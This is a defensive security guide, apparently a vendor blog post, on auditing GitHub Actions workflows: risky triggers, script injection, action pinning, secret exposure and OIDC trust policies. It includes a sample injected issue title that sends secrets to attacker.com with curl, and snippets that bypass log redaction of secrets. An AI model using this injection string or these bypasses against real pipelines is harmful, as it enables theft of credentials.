GitHub Actions Security Testing: Securing Your CI/CD Pipeline
GitHub Actions is now the default CI/CD platform for millions of repositories. It's also an increasingly attractive attack target. A compromised Actions workflow has direct access to repository secrets, cloud credentials, and deployment pipelines. Supply chain attacks against popular Actions, pull-request-triggered workflow poisoning, and OIDC misconfiguration have all appeared in real-world breaches.
This guide covers the security testing methodology for GitHub Actions: attack surface enumeration, secret exposure risks, workflow injection, third-party action vetting, and OIDC configuration review.
The GitHub Actions Attack Surface
Actions workflows run in GitHub-hosted or self-hosted runner environments. They have access to:
- Repository secrets (
${{ secrets.* }}) - Environment secrets with deployment gates
- GITHUB_TOKEN with configurable permissions
- OIDC tokens for cloud provider authentication (AWS, Azure, GCP)
- The repository code and git history
- Any credentials needed to build, test, and deploy
The threat model has two main attacker positions: an external contributor submitting a malicious pull request, and a compromised third-party Action (supply chain). Both aim to exfiltrate secrets or poison deployments.
Phase 1: Workflow File Audit
Start by reviewing all workflow files in the repository's .github/workflows/ directory. This is pure static analysis — no tooling required, just careful reading.
Trigger Review
# Dangerous triggers that run on external contributor code:
on:
pull_request_target: # runs in context of BASE branch with secrets access
workflow_run: # triggers after another workflow, can access secrets
issue_comment: # triggered by issue/PR comments
push: # safe, only runs on code pushed by maintainers
Critical risk: pull_request_target — Unlike pull_request, this trigger runs in the context of the target (base) repository, not the fork. It has access to secrets. If it checks out the PR branch code and runs it, an attacker can submit a PR that executes arbitrary code with full secret access. This is one of the most exploited GitHub Actions misconfigurations.
# Vulnerable pattern — checks out PR branch in pull_request_target context:
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # DANGEROUS
- run: npm install && npm test # Runs attacker-controlled code with secrets
# Safe alternative — separate untrusted code from privileged operations:
on:
pull_request: # no secrets access in forks
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # checks out base branch by default
- run: npm install && npm test
Script Injection via Context Variables
When workflow scripts interpolate GitHub context variables directly into shell commands, attackers can inject arbitrary commands by crafting issue titles, PR branch names, or commit messages.
# Vulnerable: issue title injected directly into shell
- name: Process issue
run: echo "Processing ${{ github.event.issue.title }}"
# Attacker creates issue titled:
# "'; curl https://attacker.com/$(cat /etc/secrets | base64); echo '"
# Safe: pass through environment variable (no shell interpolation)
- name: Process issue
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "Processing $ISSUE_TITLE"
Injection-prone context variables to audit:
github.event.issue.title/.bodygithub.event.pull_request.title/.bodygithub.event.comment.bodygithub.head_ref(PR branch name, attacker-controlled)github.event.release.tag_name
GITHUB_TOKEN Permissions
The default GITHUB_TOKEN permission policy should be reviewed at both the organisation and repository level, and per-workflow.
# Overly permissive — default all permissions:
permissions: write-all
# Correct: minimum required permissions
permissions:
contents: read
pull-requests: write # only if PR commenting is needed
# Repository default should be read-only:
# Settings → Actions → General → Workflow permissions → Read repository contents
Phase 2: Third-Party Action Vetting
Every uses: directive in a workflow pulls in third-party code that runs with full access to the runner and its secrets. The supply chain risk here is significant — compromised actions have been used to exfiltrate secrets at scale.
Version Pinning Audit
# Dangerous: uses floating tag — can change at any time
uses: actions/checkout@v4
uses: third-party/action@main
uses: third-party/action@latest
# Safe: pinned to immutable commit SHA
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
# Check the SHA matches the tag:
# Visit: https://github.com/actions/checkout/commits/v4
# Or use: gh api repos/actions/checkout/git/ref/tags/v4.2.2
# Automated: find all unpinned actions in a repository
grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"
# Any line that doesn't show a 40-char hex SHA is potentially mutable
Dependency Review
Check that the actions you use are from verified publishers and have not been flagged for supply chain issues. Key questions:
- Is the action from a recognised publisher (GitHub itself, or a major company)?
- How many stars and weekly downloads does it have?
- Has the maintainer's account been recently transferred or shows unusual activity?
- Does the action request permissions it doesn't need?
- Is the action's source code open and auditable?
Self-hosted Runner Risks
Self-hosted runners introduce additional risks. Unlike GitHub-hosted runners (which are ephemeral), self-hosted runners can persist state between runs.
# Check if self-hosted runners are used
grep -r "runs-on: self-hosted" .github/workflows/
# Key risks with self-hosted runners:
# 1. Persistent disk state — previous run artifacts, cached credentials
# 2. Access to internal network — runners inside the corporate network
# 3. Privilege escalation — runner process often runs as a high-privilege user
# 4. Lateral movement — compromised runner can access internal services
Self-hosted runners should only be used for push and other trusted triggers — never for pull_request from forks, as this gives external contributors code execution inside your network.
Phase 3: Secret Management Audit
Secret Exposure in Logs
Secrets are automatically redacted from Actions logs, but there are bypass techniques:
# Vulnerable: secret encoded before printing bypasses redaction
run: |
echo "${{ secrets.API_KEY }}" | base64
# base64-encoded secret appears unredacted in logs
# Vulnerable: secret split across multiple echo statements
run: |
echo "${{ secrets.API_KEY | slice(0,10) }}"
echo "${{ secrets.API_KEY | slice(10,20) }}"
# Vulnerable: secret printed via error message
run: |
if [ -z "${{ secrets.API_KEY }}" ]; then
echo "Secret is: ${{ secrets.API_KEY }}"
fi
Environment Variable Exposure
# Check for secrets passed in environment variables to run steps:
- name: Deploy
env:
DATABASE_URL: ${{ secrets.DATABASE_URL }}
run: ./deploy.sh
# The DATABASE_URL is accessible to any process spawned by deploy.sh
# including malicious code in npm postinstall scripts or build tools
Artifact Secret Exposure
# Artifacts are downloadable by anyone with read access to the repo
# This is dangerous if build artifacts contain secrets baked in:
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
# If dist/ contains bundled environment variables or credentials,
# anyone who can download artifacts has those credentials
Phase 4: OIDC Configuration Review
OIDC (OpenID Connect) lets Actions workflows authenticate to cloud providers (AWS, Azure, GCP) without storing long-lived credentials as secrets. It's more secure than static credentials — but misconfigured trust relationships introduce privilege escalation risks.
# Example AWS OIDC configuration in a workflow:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/GitHubActionsRole
aws-region: eu-west-1
# The corresponding AWS IAM role trust policy should be restrictive:
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub":
"repo:your-org/your-repo:ref:refs/heads/main" // SPECIFIC branch only
}
}
}
OIDC misconfigurations to look for:
- Overly broad subject claim: Using
repo:org/repo:*instead of pinning to a branch — any branch can assume the role - Wildcard organisation:
repo:*trusts all repositories in the organisation - Missing audience check: Not validating
audclaim in the trust policy - Pull request trigger with OIDC: Using OIDC in a
pull_requestworkflow where forks can trigger it
Phase 5: Workflow Dependency and Reusable Workflow Audit
Reusable workflows (workflow_call) and composite actions introduce additional trust chains. When a workflow calls another workflow, the caller's permissions and secrets may be passed to the callee.
# Reusable workflow caller
jobs:
deploy:
uses: your-org/shared-workflows/.github/workflows/deploy.yml@main
with:
environment: production
secrets: inherit # ALL secrets passed to callee — review callee carefully
# Safer: explicitly pass only needed secrets
secrets:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
Automated Tooling
actionlint
# Static linter for GitHub Actions workflows
# Catches many injection vulnerabilities and configuration errors
brew install actionlint # or: go install github.com/rhysd/actionlint/cmd/actionlint@latest
actionlint .github/workflows/*.yml
# Key findings actionlint reports:
# - Expression injection vulnerabilities
# - Incorrect permission scopes
# - Deprecated features
# - Syntax errors
Semgrep GitHub Actions rules
# Semgrep has a ruleset specifically for GitHub Actions security
semgrep --config=p/github-actions .github/workflows/
# Rules cover:
# - pull_request_target misuse
# - Script injection patterns
# - Dangerous permission settings
StepSecurity Harden-Runner
# Add to workflows to monitor outbound network connections and file access
steps:
- uses: step-security/harden-runner@v2
with:
egress-policy: audit # or 'block' to prevent unexpected outbound connections
Findings Severity Reference
| Finding | Severity | Attack Scenario |
|---|---|---|
| pull_request_target checks out PR branch | Critical | External contributor exfiltrates all org secrets |
| Script injection via issue/PR title | High | Anyone who can create issues exfiltrates secrets |
| Unpinned third-party actions | High | Compromised action publisher accesses secrets |
| OIDC wildcard trust relationship | High | Any branch in any repo assumes production cloud role |
| Self-hosted runners on fork PRs | High | External contributor executes code inside internal network |
| write-all or default write permissions | Medium | Compromised workflow modifies code or releases |
| secrets: inherit on reusable workflows | Medium | Secrets exposed to less-trusted reusable workflow |
| Secrets in uploaded artifacts | Medium | Anyone with repo read access downloads credentials |
| Secret logging via encoding bypass | Medium | Secrets visible to anyone with log access |
Your CI/CD pipeline deploys to your production environment. Ironimo scans your web application's attack surface — including the endpoints your pipeline creates — to catch vulnerabilities before attackers do.
Start free scanRemediation Checklist
- Set
permissions: read-allat the workflow level as default, grant only what's needed per job - Replace
pull_request_targetwithpull_requestunless you specifically need base branch context, and never check out the PR head ref in apull_request_targetworkflow - Pin all third-party actions to full commit SHAs, not tags or branches
- Pass user-controlled data via environment variables, never interpolate directly into shell scripts
- Restrict self-hosted runners to trusted triggers only (
push, notpull_requestfrom forks) - Review OIDC trust policies — pin to specific branches, not wildcards
- Run
actionlintas a check in your CI pipeline to catch new workflow misconfigs - Use
StepSecurity/harden-runnerto monitor and optionally block unexpected network egress - Rotate all repository secrets after any workflow security incident